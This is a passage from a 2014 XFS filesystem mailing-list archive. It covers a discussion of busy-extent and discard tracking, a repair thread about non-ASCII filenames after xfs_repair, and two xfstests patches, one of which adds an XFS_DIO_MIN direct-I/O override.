busy >> extents are committed. The delayed discards are also considered in >> the check that xfs_alloc_fixup_trees() does). > > We used to have a log sequence number in the busy extent to prevent > reuse of a busy extent - it would trigger a log force up to the > given LSN before allowing the extent to be reused. It caused > significant scalability problems for the busy extent tracking code, > and so it was removed and replaced with the non-blocking searches we > do now. See: > > ed3b4d6 xfs: Improve scalability of busy extent tracking > e26f050 xfs: do not immediately reuse busy extent ranges > 97d3ac7 xfs: exact busy extent tracking > > i.e. blocking waiting for discard or log IO completion while holding > the AGF locked is a major problem for allocation latency > determinism. With discards potentially taking seconds, waiting for > them to complete while holding the AGF locked will effectively stall > parts of the filesystem for long periods of time. That blocking is > what the above commits prevent, and by doing this allow us to use > the busy extent tree for issuing discard on ranges that have been > freed.... > >> What do you think overall about this approach? Is there something >> fundamental that prevents it from working? > > I'm not convinced that re-introducing busy extent commit > sequence tracking and blocking to optimise discard operations is a > particularly good idea given the above. I am not sure I am suggesting to block or lock anything (perhaps I am, without realizing that). By and large, I suggest to have another data structure, an rbtree, that tracks discard ranges. This rbtree is loosely connected to the busy extent rbtree. And I suggest three things to do with this new rbtree: - Whenever a busy extent is added, maybe add a discard range to the second rbtree, and attach it to the busy extent (if we got a nice discard range) - For each new allocation, check if something needs to be removed/changed in this rbtree. Yes, I realize this is additional work. - When a busy extent commits, by all means we "unbusy" the extent as usual. But we also check in the second rbtree, whether we can issue a discard for some discard range. Perhaps we can. Or we cannot because of other busy extents, that have not committed yet (the numbering is used to determine that). In that case, we will discard later, when all the needed busy extent commit. Unless new allocation removed/changed this discard range already. But we are not delaying the "unbusying" of the busy extent, and we are not keeping the AGF locked (I think). Also, we are issuing discards in the same place and context where XFS does it today. > >> Also (if you are still reading:), can you kindly comment this >> question that I have: >> # xfs_free_ag_extent() has a "isfl" parameter. If it is "true", then >> this extent is added as usual to the free-space btrees, but the >> caller doesn't add it as a busy extent. This means that such extent >> is suitable for allocation right away, without waiting for the log >> commit? > > It means the extent is being moved from the AGFL to the free space > btree. blocks on the AGFL have already gone through free space > accounting and busy extent tracking to get to the AGFL, and so there > is no need to repeat it when moving it to the free space btrees. Ok, I realize now that this block has already gone through the busy extent tracking via xfs_allocbt_free_block(). Thanks, Alex. P.S.: Just watched your AU2014 talk. Interesting. > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com From zach@kotlarek.com Mon Jan 13 12:33:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4FE087F3F for ; Mon, 13 Jan 2014 12:33:18 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 064358F804B for ; Mon, 13 Jan 2014 10:33:14 -0800 (PST) X-ASG-Debug-ID: 1389637993-04bdf00fdf694fa0001-NocioJ Received: from mail.uberzach.com (rondo.uberzach.com [64.22.125.169]) by cuda.sgi.com with ESMTP id Cmyvw9Jfm50CIIFU (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 13 Jan 2014 10:33:13 -0800 (PST) X-Barracuda-Envelope-From: zach@kotlarek.com X-Barracuda-Apparent-Source-IP: 64.22.125.169 Received: from [172.19.7.2] (unknown [74.93.97.69]) (Authenticated sender: profplump) by mail.uberzach.com (Postfix) with ESMTPSA id C1FA1581C4; Mon, 13 Jan 2014 10:33:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=kotlarek.com; s=default; t=1389637992; bh=N5BViOTE7zEiK67S2Ayb1XlUN5iCVTMwhlJIej8A7u8=; h=Content-Type:Mime-Version:Subject:From:In-Reply-To:Date:Cc: Message-Id:References:To; b=DBM9b+juXt913G1LRXo7QlFawGl87N9A2mFAHU+0DnPE5WraxWg1rto2Bv6Hwoexi uKNWWa995X06XAoT7mH8n1H0WhkabUysH6aAbFlfj9Xy/Wziydx3YCgS2WD2/LZ/WM S3Tf5CafUtJUsVFstlm7NMSnQaqmUbr96ZoSPheo= Content-Type: multipart/signed; boundary="Apple-Mail=_4C756C0B-8C4C-4B1A-802B-30EC278D0281"; protocol="application/pkcs7-signature"; micalg=sha1 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Files with non-ASCII names inaccessible after xfs_repair From: Zachary Kotlarek X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair In-Reply-To: <52D408EC.5000205@dermichi.com> Date: Mon, 13 Jan 2014 10:33:07 -0800 Cc: xfs@oss.sgi.com Message-Id: <67D14EBC-15DA-441C-8BD3-D43D8BD5D738@kotlarek.com> References: <52D408EC.5000205@dermichi.com> To: Michael Weissenbacher X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: rondo.uberzach.com[64.22.125.169] X-Barracuda-Start-Time: 1389637993 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144047 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature --Apple-Mail=_4C756C0B-8C4C-4B1A-802B-30EC278D0281 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jan 13, 2014, at 7:40 AM, Michael Weissenbacher = wrote: > Hi Zach! >> I now have 23 directories (matching the 23 =93rebuilding" messages) = where a file or directory with non-ASCII characters in the name exists = in the directory list but cannot be read or deleted: >>=20 >> ls -la >> ls: cannot access 07 - Se=F1or Macho Solo.m4v: No such file or = directory >> -rw-rw----+ 1 profplump media 332M Sep 11 2010 06 - Christmas = Special.m4v >> ??????????? ? ? ? ? ? 07 - Se??or Macho = Solo.m4v >> -rw-rw----+ 1 profplump media 304M Sep 11 2010 08 - Flu Shot.m4v >>=20 > Might be a long shot, but have you tried mounting the file system with = "-o inode64"? Thanks for the though. That=92s already my default: /dev/lvmsas/tv /mnt/media/TV xfs = rw,nosuid,nodev,noexec,relatime,attr2,delaylog,inode64,sunit=3D1024,swidth= =3D4096,noquota 0 0 Zach --Apple-Mail=_4C756C0B-8C4C-4B1A-802B-30EC278D0281 Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGTCCBhUw ggP9oAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNo aW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMRUw EwYDVQQDDAx1YmVyemFjaC5jb20xIDAeBgkqhkiG9w0BCQEWEXphY2hAa290bGFyZWsuY29tMB4X DTEzMDgxMzAwMjMzM1oXDTE4MDgxMjAwMjMzM1owgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApX YXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVr MRwwGgYDVQQDDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxh cmVrLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANL424NB+EzPp7/CqB/kxV+u 7MSpl9A8NlMqLldoPPJjpEwH9+4wfYrx+yUOBddih4WIgCD9NiF41+9tHu9gUqm+PZT8kdGXUIRP fuQuwKyzAv0rSyydXBQD/Q/gRrFaEJvJ5wVUxgE51K/ugGATmyWTSeMwATOJR4qTs1u2dfxBliyR xc2LCJCAgvuonwhfP1JprFYz+ycmlb/od3cAC5+8ggof5YJiitsUM6FPQtDykGPNWxhFnBwrVlQ+ vAxA1aT2v33C4MMK3hY3Ik8BUCZrAr4r/eWDSCBmcQydoawrUllAzEsVuozYqOW+EwbFp9RFDAZZ UZH/pMSEK5v2yQcf2m3zx4+9S5fLbvX660DFY90C1GSt9MyDjfpgx+Mtx7RtJI2abcei2PEXt38p U2aLypsHWsdloWhouzM4JpTkDXqCyUOm5hkUPgMdOXKHY5jCj0e7ok/Rknty7fJjolo4uyOKfJHQ cjoU1xuzA8ob0i8zufIL03FUK72dWL7xyAGjRs4Hsa6xd/SbPYGvYHJ2afxLeTDPZwzrLErxn9no E0wkAPnV0MfYbB+0Y/+Xaa2KIUflawzh3iQVkohrzmE9PU3gjiQJ9UqYtvx8HrUK2eEjCRinnSd5 X4u8MWKN16MBjw+bqdSs6moVCwlCDVAm8Q1vCY1FxKs+ZsjgeB0vAgMBAAGjezB5MAkGA1UdEwQC MAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQW BBTt0O5opEZ9Srh5RU4Hfd3aV56InTAfBgNVHSMEGDAWgBS5ajfQuD4tDDqutQ8fwKFw6YlRwzAN BgkqhkiG9w0BAQUFAAOCAgEAdEPKAfGyGcWI/mUERK9nml7MmQb+1chyK3Di85dMuvdtz4E4KA0U lkc92ddyJKMtsYzi9sjh3EVFTwZQ0Drs3GRwulnpn8uCkSf0nQNJSjr8zAdaIQdPdyzUTHDzV+Jn jPBsHxUV5W91HkXIEEajLdCtQNnRIIuoratGlIvJRwsyokVoUSrlo+/sRi1P7DopMzF1i91AyUuR BfUT0LtC17SGos9P6JiyqQQBtHild2uJZOZM9lSEvhCS25KTEB0aG12TSZmG7aD6ySo4UtPRtLO7 lD2VTuBNhgfIzfES2aqStrPVTqatwbgw+FJjJWHvuBhT1toj9IQZY6pIlo5rIJmOrFUwviHro2Bn tXXEg55vZ/uWnjcWJDj45RoGCPSNx2pb3xuSdltd/POXaT4e6bssZ+ovDvJ2w0eVWakfJNu9uL85 giOcDFFRj9pBBF+t3IWAxsVSxfiAiNCIc6XoP4kW1j6l/P2k2fYj+exwnq2OlkSWANbdAi1/Fa0W W+mLAXrIV1LMnjlCNzH5wYiM2Ljoea7nBFL3rSs3N1eMau4PhsCVaD2AH+oNNuMK5mAvdlHMC6SU iifrsFjHJUeI79FGhx+ktHKAZcKUfalcU4FKo2Tph4ypYaQn75690YvfcQpp7KyMIGf7rUm7dA+A LiHDsAb947E/fgdTEb/rsDwxggRmMIIEYgIBATCBkTCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgM Cldhc2hpbmd0b24xEDAOBgNVBAcMB1NlYXR0bGUxHDAaBgNVBAoME1phY2hhcnkgUC4gS290bGFy ZWsxFTATBgNVBAMMDHViZXJ6YWNoLmNvbTEgMB4GCSqGSIb3DQEJARYRemFjaEBrb3RsYXJlay5j b20CAQEwCQYFKw4DAhoFAKCCAakwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0B CQUxDxcNMTQwMTEzMTgzMzA4WjAjBgkqhkiG9w0BCQQxFgQUGaU9GY+k7ciM6nYl8b71SnLntmUw gaIGCSsGAQQBgjcQBDGBlDCBkTCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgMCldhc2hpbmd0b24x EDAOBgNVBAcMB1NlYXR0bGUxHDAaBgNVBAoME1phY2hhcnkgUC4gS290bGFyZWsxFTATBgNVBAMM DHViZXJ6YWNoLmNvbTEgMB4GCSqGSIb3DQEJARYRemFjaEBrb3RsYXJlay5jb20CAQEwgaQGCyqG SIb3DQEJEAILMYGUoIGRMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4G A1UEBwwHU2VhdHRsZTEcMBoGA1UECgwTWmFjaGFyeSBQLiBLb3RsYXJlazEVMBMGA1UEAwwMdWJl cnphY2guY29tMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxhcmVrLmNvbQIBATANBgkqhkiG9w0B AQEFAASCAgA03MN8CbDoKh9eKWFRj0YH8vsj/ynIkE5SNywBw9cRWGV4Df1vCy3Yjp1pQU+my3q8 Y5vSXf6jvjcUK0TZkTFmgc4WVWBoNbRTP71hrPuQ1l3hgCMOEnB6fn3Fex+Sqva1b5zN6WH6x3GN a225TKfv0W3qVzLJxe9BbLfVxgt4vS08xZmSP8NKPKT/wxIemtiiKz3dzWyLC7+iVW9kj39x9eo4 Bww1MmJ0MQ5vxkFVfhB5pEi1APw//rEeTXLmltuTy3kYo21JdVgJCDcEM5te8X9NkqE86OeLKWPl ZpipsgyM3TpUCX99Di8PkKTWaHU+6CACDOGEQWCwfPKu1gb02nAwN1u67PXZUd7tkSRc1k4c1HPA ielaEYHqJwfx8lNvl5eOtHffyDSsw8WbO2VAD6n/kF5AkllgpdNeAJ6pTF8siezks93A7igiZyxe SyxYzjraEkKo0xeG+7EvAHthlrcpgQDb3ehxw7oYAa+jbnLil6w+vEz+wLBpVjU60jMMtV10dlll GV4Xlwbe0etiipzGzHBU0TCOV6XXB//tF/g01Z/RQDKFICR7St+KiXe5ARMb13lg0yeaeLbzkN8F yyykjmn+bB+bQjJqgswPwMWPqmO842/sWdx5DqmN+IbXyjcs6976j7UL2jKd6xL7yD086Gxgl2UX G0W8PK0FOQAAAAAAAA== --Apple-Mail=_4C756C0B-8C4C-4B1A-802B-30EC278D0281-- From david@fromorbit.com Mon Jan 13 13:27:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6ABC37F3F for ; Mon, 13 Jan 2014 13:27:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id EF9F3AC001 for ; Mon, 13 Jan 2014 11:27:37 -0800 (PST) X-ASG-Debug-ID: 1389641256-04bdf00fe0696520001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 8J019n6JwwWGdwef for ; Mon, 13 Jan 2014 11:27:36 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswJAJg91FJ5LKVw/2dsb2JhbABagwuDOlKxIoVTgRgXdIIlAQEBAwEjDwEjIxAIAw4KAgIFIQICDwUlAyETh3wHqiOaXhcWgRONXgeCb4FIBJgWikyHSoNBKIEsBA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Jan 2014 05:57:35 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W2nAa-0003a3-K9; Tue, 14 Jan 2014 06:27:32 +1100 Date: Tue, 14 Jan 2014 06:27:32 +1100 From: Dave Chinner To: Zachary Kotlarek Cc: xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Message-ID: <20140113192732.GI3469@dastard> X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <52D2E358.6070106@hardwarefreak.com> <20140113015007.GC3469@dastard> <20140113031947.GG3469@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1389641256 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144048 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Jan 12, 2014 at 07:47:29PM -0800, Zachary Kotlarek wrote: > > On Jan 12, 2014, at 7:19 PM, Dave Chinner > wrote: > > > IOWs, xfs-repair wrote new contents to those blocks, and now the > > kernel cannot read them from disk. > > > Sure, but I don’t understand why it would have re-written them > in the first place. I know corruption happens, but this seems > awfully pattern-tastic to be random errors. Neither do I, but I'm trying to find out. > > Try using xfs_db to read and parse the blocks that the > > fielsystem is choking on. If it can't read them from xfs_db, > > then there's something gone wrong below XFS. If you can read > > them, use xfs_db to parse the block as a directory block and see > > what the raw directory entries are the block contains.... Based on the xfs-db output, these warnings are not related to the problem you are seeing. It's likely just a result of readahead being cancelled due to load, and the error set by the DM layer not being handled properly. So, you need to find the inode number of a directory with a corrupt entry, and dump the inode and any data fork blocks that it belongs to with xfs_db similar to what you have just done. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Mon Jan 13 14:02:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F317429DF8 for ; Mon, 13 Jan 2014 14:02:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 83BE2AC004 for ; Mon, 13 Jan 2014 12:02:58 -0800 (PST) X-ASG-Debug-ID: 1389643374-04cb6c537ed8b220001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XfUJpLy2RnYZtqwi for ; Mon, 13 Jan 2014 12:02:54 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0DK2qeV024402 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 13 Jan 2014 15:02:52 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0DK2oaE006195 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Mon, 13 Jan 2014 15:02:50 -0500 Message-ID: <52D4466A.7000003@redhat.com> Date: Mon, 13 Jan 2014 14:02:50 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfstests 049, 073: use MKFS_XFS_PROG where appropriate X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfstests 049, 073: use MKFS_XFS_PROG where appropriate Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389643374 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 I got burned on a mishmash system with /usr/sbin/mkfs but /sbin/mkfs.xfs - or was it the other way around... Anyway, in these tests, there's no need for the concatenation to create "mkfs.xfs" - just use MKFS_XFS_PROG. Signed-off-by: Eric Sandeen --- diff --git a/tests/xfs/049 b/tests/xfs/049 index 850d371..dc76baa 100755 --- a/tests/xfs/049 +++ b/tests/xfs/049 @@ -82,7 +82,7 @@ mount -t ext2 $SCRATCH_DEV $SCRATCH_MNT >> $seqres.full 2>&1 \ || _fail "!!! failed to mount" _log "Create xfs fs in file on scratch" -${MKFS_PROG}.xfs -f -dfile,name=$SCRATCH_MNT/test.xfs,size=40m \ +${MKFS_XFS_PROG} -f -dfile,name=$SCRATCH_MNT/test.xfs,size=40m \ >> $seqres.full 2>&1 \ || _fail "!!! failed to mkfs xfs" diff --git a/tests/xfs/073 b/tests/xfs/073 index ad38059..4280fa9 100755 --- a/tests/xfs/073 +++ b/tests/xfs/073 @@ -153,7 +153,7 @@ _verify_copy $imgs.image $SCRATCH_DEV $SCRATCH_MNT echo echo === copying scratch device to single target, large ro device -${MKFS_PROG}.xfs -dfile,name=$imgs.source,size=100g | _filter_mkfs 2>/dev/null +${MKFS_XFS_PROG} -dfile,name=$imgs.source,size=100g | _filter_mkfs 2>/dev/null rmdir $imgs.source_dir 2>/dev/null mkdir $imgs.source_dir From sandeen@redhat.com Mon Jan 13 14:29:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 39C827F3F for ; Mon, 13 Jan 2014 14:29:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EDD2E30406B for ; Mon, 13 Jan 2014 12:29:25 -0800 (PST) X-ASG-Debug-ID: 1389644961-04bdf00fe2697c00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id GECuKZDb2YB8soa8 for ; Mon, 13 Jan 2014 12:29:21 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0DKTKsH007170 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 13 Jan 2014 15:29:21 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s0DKTJsq003577 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 13 Jan 2014 15:29:20 -0500 Message-ID: <52D44C9F.2010600@redhat.com> Date: Mon, 13 Jan 2014 14:29:19 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfstests: allow override of XFS_IOC_DIOINFO X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfstests: allow override of XFS_IOC_DIOINFO Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389644961 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This change allows xfstests runs to simulate apps which don't bother to call XFS_IOC_DIOINFO, and simply issue DIO in sizes and alignments of its own choosing. So i.e.: # export XFS_DIO_MIN=512 prior to an xfstests run, and these test binaries should issue 512-aligned DIOs instead of whatever XFS_IOC_DIOINFO says (i.e. instead of maybe 4k). (This is in preparation for allowing 512 IOs on "advanced format" 512/4k disks, when xfs has an internal 4k sector size). Signed-off-by: Eric Sandeen --- diff --git a/ltp/doio.c b/ltp/doio.c index 0f77863..966cff1 100644 --- a/ltp/doio.c +++ b/ltp/doio.c @@ -1471,6 +1471,7 @@ fmt_ioreq(struct io_req *ioreq, struct syscall_info *sy, int fd) (io->r_uflags & F_WORD_ALIGNED) ? "aligned" : "unaligned"); if(io->r_oflags & O_DIRECT) { + char *dio_env; struct dioattr finfo; if(xfsctl(io->r_file, fd, XFS_IOC_DIOINFO, &finfo) == -1) { @@ -1481,6 +1482,10 @@ fmt_ioreq(struct io_req *ioreq, struct syscall_info *sy, int fd) finfo.d_maxiosz = 1; } + dio_env = getenv("XFS_DIO_MIN"); + if (dio_env) + finfo.d_mem = finfo.d_miniosz = atoi(dio_env); + cp += sprintf(cp, " DIRECT I/O: offset %% %d = %d length %% %d = %d\n", finfo.d_miniosz, io->r_offset % finfo.d_miniosz, @@ -2774,11 +2779,18 @@ int oflags; free_slot->c_rtc = Reqno; if (oflags & O_DIRECT) { + char *dio_env; + if (xfsctl(file, fd, XFS_IOC_DIOINFO, &finfo) == -1) { finfo.d_mem = 1; finfo.d_miniosz = 1; finfo.d_maxiosz = 1; } + + dio_env = getenv("XFS_DIO_MIN"); + if (dio_env) + finfo.d_mem = finfo.d_miniosz = atoi(dio_env); + } else { finfo.d_mem = 1; finfo.d_miniosz = 1; diff --git a/ltp/fsstress.c b/ltp/fsstress.c index 499a573..c56f168 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -1930,6 +1930,7 @@ dread_f(int opno, long r) struct stat64 stb; int v; char st[1024]; + char *dio_env; init_pathname(&f); if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) { @@ -1974,6 +1975,11 @@ dread_f(int opno, long r) close(fd); return; } + + dio_env = getenv("XFS_DIO_MIN"); + if (dio_env) + diob.d_mem = diob.d_miniosz = atoi(dio_env); + align = (__int64_t)diob.d_miniosz; lr = ((__int64_t)random() << 32) + random(); off = (off64_t)(lr % stb.st_size); @@ -2010,6 +2016,7 @@ dwrite_f(int opno, long r) struct stat64 stb; int v; char st[1024]; + char *dio_env; init_pathname(&f); if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) { @@ -2046,6 +2053,11 @@ dwrite_f(int opno, long r) close(fd); return; } + + dio_env = getenv("XFS_DIO_MIN"); + if (dio_env) + diob.d_mem = diob.d_miniosz = atoi(dio_env); + align = (__int64_t)diob.d_miniosz; lr = ((__int64_t)random() << 32) + random(); off = (off64_t)(lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE)); diff --git a/ltp/iogen.c b/ltp/iogen.c index 15f340d..1eaab1f 100644 --- a/ltp/iogen.c +++ b/ltp/iogen.c @@ -781,6 +781,7 @@ struct file_info *rec; rec->f_riou = BSIZE; if( (fd = open(rec->f_path, O_RDWR|O_DIRECT, 0)) != -1 ) { + char *dio_env; #ifdef XFS_IOC_DIOINFO if(xfsctl(rec->f_path, fd, XFS_IOC_DIOINFO, &finfo) != -1) { #else @@ -790,6 +791,10 @@ struct file_info *rec; bozo! #endif #endif + dio_env = getenv("XFS_DIO_MIN"); + if (dio_env) + finfo.d_mem = finfo.d_miniosz = atoi(dio_env); + rec->f_riou = finfo.d_miniosz; } else { fprintf(stderr, @@ -1001,6 +1006,7 @@ bozo! if(Owrite == 2) { close(fd); if( (fd = open(path, O_CREAT|O_RDWR|O_DIRECT, 0)) != -1 ) { + char *dio_env; #ifdef XFS_IOC_DIOINFO if(xfsctl(path, fd, XFS_IOC_DIOINFO, &finfo) == -1) { #else @@ -1018,6 +1024,10 @@ bozo! /*fprintf(stderr, "%s: miniosz=%d\n", path, finfo.d_miniosz);*/ } + + dio_env = getenv("XFS_DIO_MIN"); + if (dio_env) + finfo.d_mem = finfo.d_miniosz = atoi(dio_env); } else { fprintf(stderr, "iogen%s: Error %s (%d) opening file %s with flags O_CREAT|O_RDWR|O_DIRECT\n", TagName, SYSERR, errno, path); diff --git a/src/unwritten_sync.c b/src/unwritten_sync.c index 6cdf7e8..bf61adf 100644 --- a/src/unwritten_sync.c +++ b/src/unwritten_sync.c @@ -27,6 +27,7 @@ main(int argc, char *argv[]) off_t offset; char *file; int loops; + char *dio_env; if(argc != 3) { fprintf(stderr, "%s \n", argv[0]); @@ -53,6 +54,10 @@ main(int argc, char *argv[]) exit(1); } + dio_env = getenv("XFS_DIO_MIN"); + if (dio_env) + dio.d_mem = dio.d_miniosz = atoi(dio_env); + if ((dio.d_miniosz > IO_SIZE) || (dio.d_maxiosz < IO_SIZE)) { fprintf(stderr, "Test won't work - iosize out of range" " (dio.d_miniosz=%d, dio.d_maxiosz=%d)\n", diff --git a/tests/btrfs/022 